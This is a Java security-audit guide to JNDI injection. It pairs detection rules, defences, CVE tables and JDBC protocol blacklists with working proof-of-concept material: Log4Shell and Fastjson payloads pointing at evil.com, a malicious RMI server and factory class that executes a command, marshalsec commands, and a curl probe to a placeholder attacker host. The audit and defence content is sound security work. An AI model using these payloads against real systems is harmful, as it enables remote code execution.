# Java JNDI Injection - Complete Audit Rules

> JNDI (Java Naming and Directory Interface) injection vulnerability in-depth analysis
> Based on javasec project learning outcomes

---

## Vulnerability Principles

### Three Elements of JNDI Injection

1. ✅ The application calls `lookup()` or `search()` methods
2. ✅ The parameter is partially or fully controllable (URL or name)
3. ✅ The attacker can set up a malicious RMI/LDAP server

### Reference Remote Class Loading

**Attack flow**:
```
Client lookup("rmi://evil.com/Exploit")
  → RMI returns Reference object
  → Client downloads .class from codebase
  → Instantiates malicious class
  → Executes constructor/static block → RCE ✅
```

**Key code**:
```java
Reference ref = new Reference(
    "ClassName",           // Class name
    "FactoryClassName",    // Factory class (will be instantiated)
    "http://evil.com/"     // codebase (remote class address)
);
```

---

## JDK Version Restrictions

| JDK Version | RMI Reference | LDAP Reference | Local Gadget |
|------------|--------------|---------------|-------------|
| < 6u141, 7u131 | ✅ Available | ✅ Available | ✅ Available |
| 6u141 ~ 8u190 | ❌ Disabled | ✅ Available | ✅ Available |
| 8u191, 11.0.1+ | ❌ Disabled | ❌ Disabled | ✅ Available |

**Restriction reasons**:
- `com.sun.jndi.rmi.object.trustURLCodebase=false` (JDK 8u121+)
- `com.sun.jndi.ldap.object.trustURLCodebase=false` (JDK 8u191+)

**Bypass methods**:
- ✅ Use Gadget classes from the local classpath
- ✅ LDAP returns serialized Gadget objects (requires relevant dependencies)
- ✅ Use local Factory classes (e.g., Tomcat BeanFactory)

---

## Code Audit Detection

### Step 1: Search for JNDI Calls

```bash
# Detect InitialContext
grep -rn "InitialContext" --include="*.java"

# Detect lookup method
grep -rn "\.lookup\(" --include="*.java" | grep -v "^//"

# Detect DirContext.search
grep -rn "\.search\(" --include="*.java"

# Detect Reference usage
grep -rn "new Reference" --include="*.java"
```

### Step 2: Identify Controllable Parameters

**Dangerous patterns**:
```java
// ❌ High risk: URL fully controllable
String url = request.getParameter("url");
ctx.lookup(url);

// ❌ High risk: Name controllable
String name = request.getParameter("name");
ctx.lookup("rmi://internal:1099/" + name);

// ❌ Medium risk: Read from database/config
String url = database.getConfig("jndi.url");
ctx.lookup(url);
```

**Safe patterns**:
```java
// ✓ Hardcoded
ctx.lookup("rmi://localhost:1099/Service");

// ✓ Whitelist validation
if (WHITELIST.contains(name)) {
    ctx.lookup("rmi://localhost:1099/" + name);
}
```

### Step 3: Taint Analysis Rules

**Source (Taint sources)**:
```regex
request\.getParameter\(
request\.getHeader\(
System\.getProperty\(
properties\.getProperty\(
```

**Sink (Danger points)**:
```java
// Key classes and methods
javax.naming.InitialContext.lookup()
javax.naming.Context.lookup()
javax.naming.Context.lookupLink()
javax.naming.directory.DirContext.search()
```

**Data flow tracing**:
```
HTTP parameter → variable → lookup() parameter = High risk ✅
Config file → variable → lookup() parameter = Medium risk ⚠️
Hardcoded constant → lookup() parameter = Safe ✓
```

---

## Practical PoC

### PoC 1: Fastjson + JNDI

**Vulnerable code**:
```java
import com.alibaba.fastjson.JSON;

public class Vuln {
    public static void main(String[] args) {
        JSON.parseObject(args[0]);  // ⚠️ JNDI injection
    }
}
```

**Payload**:
```json
{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://evil.com:1099/Exploit",
    "autoCommit": true
}
```

**Attack flow**:
1. Fastjson deserializes `JdbcRowSetImpl`
2. Calls `setDataSourceName()` and `setAutoCommit(true)`
3. `setAutoCommit()` triggers `connect()`
4. `connect()` internally calls `InitialContext.lookup(dataSourceName)`
5. ✅ JNDI injection RCE

---

### PoC 2: Log4j2 RCE (CVE-2021-44228)

**Vulnerable code**:
```java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jVuln {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        logger.info("User: {}", args[0]);  // ⚠️ JNDI injection
    }
}
```

**Payload**:
```
${jndi:rmi://evil.com:1099/Exploit}
${jndi:ldap://evil.com:1389/Exploit}
${jndi:ldap://127.0.0.1#evil.com:1389/Exploit}  // DNS Rebinding
```

**Affected versions**: Log4j 2.0-beta9 ~ 2.14.1

---

### PoC 3: Attacker RMI Server

**Malicious RMI service**:
```java
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.*;

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);

        Reference ref = new Reference(
            "Exploit",
            "ExploitFactory",
            "http://evil.com:8080/"  // Host malicious .class
        );

        registry.bind("Exploit", new ReferenceWrapper(ref));
        System.out.println("[+] RMI Server listening on 1099");
    }
}
```

**Malicious factory class** (`ExploitFactory.java`):
```java
import javax.naming.*;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class ExploitFactory implements ObjectFactory {
    // static block executes immediately on class load
    static {
        try {
            Runtime.getRuntime().exec("calc");  // ✅ RCE
        } catch (Exception e) {}
    }

    public Object getObjectInstance(Object obj, Name name,
                                     Context ctx, Hashtable<?, ?> env) {
        return null;
    }
}
```

Compile and host:
```bash
javac ExploitFactory.java
python3 -m http.server 8080  # Host ExploitFactory.class
```

---

### PoC 4: Using marshalsec Tool

```bash
# Start malicious LDAP service
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
  marshalsec.jndi.LDAPRefServer \
  "http://evil.com:8080/#ExploitFactory" \
  1389


# Or start malicious RMI service
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
  marshalsec.jndi.RMIRefServer \
  "http://evil.com:8080/#ExploitFactory" \
  1099
```

---

## Defense Measures

### 1. JDK Upgrade (Recommended)

**Upgrade to secure versions**:
- ✅ JDK 8u191+ / 11.0.1+
- ✅ Automatically disables `trustURLCodebase`

**Verify configuration**:
```java
System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase");   // false
System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase");  // false
```

---

### 2. Input Validation and Whitelisting

**Strict whitelisting**:
```java
import java.util.*;

public class SafeJNDI {
    private static final Set<String> WHITELIST = new HashSet<>(Arrays.asList(
        "rmi://localhost:1099/ServiceA",
        "rmi://localhost:1099/ServiceB"
    ));

    public Object safeLookup(String url) throws Exception {
        if (!WHITELIST.contains(url)) {
            throw new SecurityException("JNDI URL not in whitelist");
        }
        return new InitialContext().lookup(url);
    }
}
```

**URL format validation**:
```java
import java.net.URI;

public Object validateLookup(String url) throws Exception {
    URI uri = new URI(url);

    // Only allow RMI protocol
    if (!"rmi".equals(uri.getScheme())) {
        throw new SecurityException("Only RMI allowed");
    }

    // Only allow localhost
    if (!"localhost".equals(uri.getHost())) {
        throw new SecurityException("Only localhost allowed");
    }

    return new InitialContext().lookup(url);
}
```

---

### 3. WAF / RASP Rules

**Detection patterns**:
```regex
# JNDI URL patterns
rmi://[^/]+/
ldap://[^/]+/
ldaps://[^/]+/
dns://[^/]+/

# Log4j Payload patterns
\$\{jndi:(rmi|ldap|dns)://
\$\{jndi:\$\{
```

**Nginx WAF rules**:
```nginx
# Block JNDI payloads
if ($request_uri ~* "\$\{jndi:") {
    return 403;
}

if ($http_user_agent ~* "\$\{jndi:") {
    return 403;
}
```

---

### 4. Log4j Specific Defense

**Temporary mitigation** (Log4j 2.10+):
```bash
# Set environment variable
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

# Or JVM parameter
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
```

**Permanent fix**:
```bash
# Upgrade to secure version
Log4j 2.17.0+ (Java 8)
Log4j 2.12.3+ (Java 7)
Log4j 2.3.1+  (Java 6)
```

**Remove JndiLookup class**:
```bash
zip -q -d log4j-core-*.jar \
  org/apache/logging/log4j/core/lookup/JndiLookup.class
```

---

## Related CVEs

### Major JNDI Injection Vulnerabilities

| CVE | Component | Affected Versions | Description |
|-----|-----------|-------------------|-------------|
| **CVE-2021-44228** | Log4j2 | 2.0-beta9 ~ 2.14.1 | Log4Shell, JNDI injection RCE |
| **CVE-2021-45046** | Log4j2 | 2.15.0 | Log4Shell incomplete fix |
| **CVE-2021-45105** | Log4j2 | 2.0-beta9 ~ 2.16.0 | DoS via JNDI |
| **CVE-2020-1948** | Dubbo | 2.7.0 ~ 2.7.6 | Deserialization + JNDI injection |
| **CVE-2019-17571** | Log4j 1.x | All versions | SocketServer JNDI injection |
| **CVE-2016-4437** | Shiro | < 1.2.5 | RememberMe deserialization + JNDI |
| **CVE-2019-2725** | Weblogic | 10.3.6, 12.1.3 | XMLDecoder + JNDI |
| **CVE-2017-18349** | Fastjson | < 1.2.24 | JdbcRowSetImpl JNDI |

---

## Audit Checklist

Checklist for code auditing:

- [ ] Search all `lookup()` calls and confirm parameter sources
- [ ] Search all `search()` calls and check filter conditions
- [ ] Confirm no user input is concatenated to construct JNDI URLs
- [ ] Check JDK version (recommend 8u191+ / 11.0.1+)
- [ ] Verify `trustURLCodebase` configuration (should be false)
- [ ] Check JNDI usage in dependency libraries (Fastjson, Log4j, Dubbo)
- [ ] Implement whitelist validation mechanism
- [ ] Configure WAF/RASP protection rules
- [ ] Check if logging includes user input (Log4j)
- [ ] Audit JNDI URLs in configuration files

---

## Detection Tools

### Automated Scanning

```bash
# Semgrep
semgrep --config="p/java" --pattern='$CTX.lookup($URL)' .

# Quick grep detection
grep -rn "\.lookup\(" --include="*.java" | grep -v "//"

# FindSecBugs (SpotBugs)
# Rule: JNDI_INJECTION
```

### Manual Detection Script

```bash
#!/bin/bash
echo "=== JNDI Injection Scanner ==="

# Detect lookup
echo "[1] Checking lookup() calls..."
grep -rn "\.lookup\(" --include="*.java" --color=auto

# Detect Reference
echo "[2] Checking Reference usage..."
grep -rn "new Reference" --include="*.java" --color=auto

# Detect JdbcRowSetImpl
echo "[3] Checking JdbcRowSetImpl..."
grep -rn "JdbcRowSetImpl" --include="*.java" --color=auto

# Detect Log4j
echo "[4] Checking Log4j..."
find . -name "log4j-core-*.jar" -exec echo "Found: {}" \;

echo "=== Scan Complete ==="
```

---

## Reference Resources

### Tools
- [marshalsec](https://github.com/mbechler/marshalsec) - JNDI exploitation tool
- [JNDIExploit](https://github.com/feihong-cs/JNDIExploit) - JNDI exploitation toolkit
- [ysoserial](https://github.com/frohoff/ysoserial) - Deserialization payload generator
- [JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit)

### Documentation
- [A Journey From JNDI/LDAP To Remote Code Execution](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
- [Log4Shell Complete Analysis](https://www.lunasec.io/docs/blog/log4j-zero-day/)
- [JNDI Injection Explained](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)

---

## Minimal PoC Examples
```bash
# Log4j JNDI injection probe (requires controlled LDAP)
curl 'http://app.example.com/search?name=${jndi:ldap://attacker/a}'

# JNDI lookup controllability check
rg -n "InitialContext|lookup|search" --glob "*.java"
```

---

---

## JDBC Protocol Injection (CVE-2025-64428 Type Vulnerabilities)

### Background

JDBC connection URLs support multiple protocols, some of which can lead to JNDI injection or SSRF. When datasource configuration allows user control of JDBC URLs or parameters, strict protocol whitelist validation is required.

### Dangerous Protocol List

| Protocol | Risk Type | CVE Example | Description |
|----------|-----------|-------------|-------------|
| `ldap://` | JNDI Injection | CVE-2025-64164 | LDAP protocol JNDI injection |
| `ldaps://` | JNDI Injection | - | LDAP over SSL |
| `rmi://` | JNDI Injection | - | RMI protocol JNDI injection |
| `dns://` | SSRF | CVE-2025-64163 | DNS protocol can leak internal network info |
| `iiop://` | JNDI Injection | CVE-2025-64428 | CORBA IIOP protocol bypasses blacklist |
| `iiopname:` | JNDI Injection | CVE-2025-64428 | IIOP naming service |
| `corbaname:` | JNDI Injection | CVE-2025-64428 | CORBA naming service |
| `corbaloc:` | JNDI Injection | - | CORBA locator |
| `file://` | File Read | - | Local file disclosure |
| `ftp://` | SSRF | - | FTP protocol SSRF |
| `http://` | SSRF | - | HTTP protocol SSRF |
| `https://` | SSRF | - | HTTPS protocol SSRF |

### Detection Commands

```bash
# 1. Search JDBC URL handling code
grep -rn "jdbc:\|JdbcRowSet\|dataSourceName" --include="*.java"

# 2. Search dangerous protocols (may bypass blacklists)
grep -rn "iiop://\|iiopname:\|corbaname:\|corbaloc:" --include="*.java"

# 3. Search protocol blacklist configuration
grep -rn "illegalParameters\|blacklist\|getIllegal" --include="*.java"

# 4. Search datasource type configuration
grep -rn "class.*extends.*Configuration\|DatasourceType\|datasourceType" --include="*.java"
```

### Blacklist Completeness Check

When auditing datasource security, verify the blacklist includes **all** dangerous protocols:

```java
// Complete protocol blacklist example
private List<String> getCompleteIllegalParameters() {
    return Arrays.asList(
        // JNDI related
        "java.naming.factory.initial",
        "java.naming.provider.url",
        "java.naming.factory.object",
        "java.naming.factory.state",

        // RMI/LDAP protocols
        "rmi://", "rmi:",
        "ldap://", "ldaps://",

        // CORBA/IIOP protocols (CVE-2025-64428)
        "iiop://", "iiop:",
        "iiopname:", "iiopname://",
        "corbaname:", "corbaname://",
        "corbaloc:", "corbaloc://",

        // Other dangerous protocols
        "dns://", "dns:",
        "file://", "file:",
        "ftp://", "ftp:",
        "http://", "https://",

        // Deserialization related
        "autoDeserialize",
        "connectionProperties",
        "initSQL"
    );
}
```

### Vulnerable Code Examples

```java
// ❌ Dangerous: Incomplete blacklist missing iiop/corbaname protocols
private List<String> getOracleIllegalParameters() {
    return Arrays.asList(
        "ldap://", "ldaps://", "rmi",
        "dns", "file", "ftp"
        // Missing: iiop://, iiopname:, corbaname:, corbaloc:
    );
}

// ❌ Dangerous: Blacklist check can be bypassed via case variation
public boolean isIllegalParameter(String param) {
    for (String illegal : illegalParameters) {
        if (param.contains(illegal)) {  // Not case-insensitive
            return true;
        }
    }
    return false;
}
```

### Secure Implementation Example

```java
// ✓ Safe: Complete protocol whitelist validation
public void validateJdbcUrl(String jdbcUrl) {
    String lowerUrl = jdbcUrl.toLowerCase();

    // Only allow standard JDBC protocols
    if (!lowerUrl.startsWith("jdbc:mysql://") &&
        !lowerUrl.startsWith("jdbc:postgresql://") &&
        !lowerUrl.startsWith("jdbc:oracle:thin:@") &&
        !lowerUrl.startsWith("jdbc:sqlserver://")) {
        throw new SecurityException("Invalid JDBC URL protocol");
    }

    // Check for dangerous protocols
    String[] dangerousProtocols = {
        "ldap://", "ldaps://", "rmi://", "rmi:",
        "iiop://", "iiop:", "iiopname:", "corbaname:", "corbaloc:",
        "dns://", "dns:", "file://", "file:", "ftp://"
    };

    for (String protocol : dangerousProtocols) {
        if (lowerUrl.contains(protocol)) {
            throw new SecurityException("Dangerous protocol detected: " + protocol);
        }
    }
}
```

---

## Datasource Configuration Security Audit

### Audit Checklist

When a project supports dynamic datasource configuration, check:

- [ ] **JDBC URL validation**: Is the URL protocol whitelist validated
- [ ] **Protocol blacklist completeness**: Does it include all dangerous protocols (especially iiop/corbaname)
- [ ] **Case handling**: Is the blacklist check case-insensitive
- [ ] **Parameter filtering**: Are dangerous parameters filtered in extraParams
- [ ] **Connection properties**: Can connectionProperties be injected
- [ ] **SSH tunnel configuration**: Can SSH configuration be exploited
- [ ] **Password encryption**: Are database passwords stored encrypted

### High-Risk Configuration Classes

Search and audit the following types of configuration classes:

```bash
# Search datasource configuration classes
grep -rn "class.*Configuration\|class.*DatasourceConfig" --include="*.java"

# Search JDBC URL construction code
grep -rn "jdbc.*=.*String.format\|getJdbcUrl\|buildJdbcUrl" --include="*.java"

# Search datasource type enums
grep -rn "enum.*DatasourceType\|enum.*DbType" --include="*.java"
```

---

## Related CVEs (2025 Update)

### JDBC/JNDI Injection CVEs

| CVE | Affected Versions | Vulnerability Type | Description |
|-----|-------------------|-------------------|-------------|
| **CVE-2025-64428** | DataEase < 2.10.17 | JNDI Injection | iiop/corbaname/iiopname protocol bypasses blacklist |
| **CVE-2025-64163** | DataEase <= 2.10.14 | SSRF | dns:// protocol SSRF |
| **CVE-2025-64164** | DataEase <= 2.10.14 | JNDI Injection | Oracle JDBC JNDI injection |

---

**Last updated**: 2026-02-05
**Version**: 2.0
**Audit focus**: lookup() parameter controllability, JDK version check, dependency library audit, **JDBC protocol blacklist completeness**, **iiop/corbaname protocol bypass**
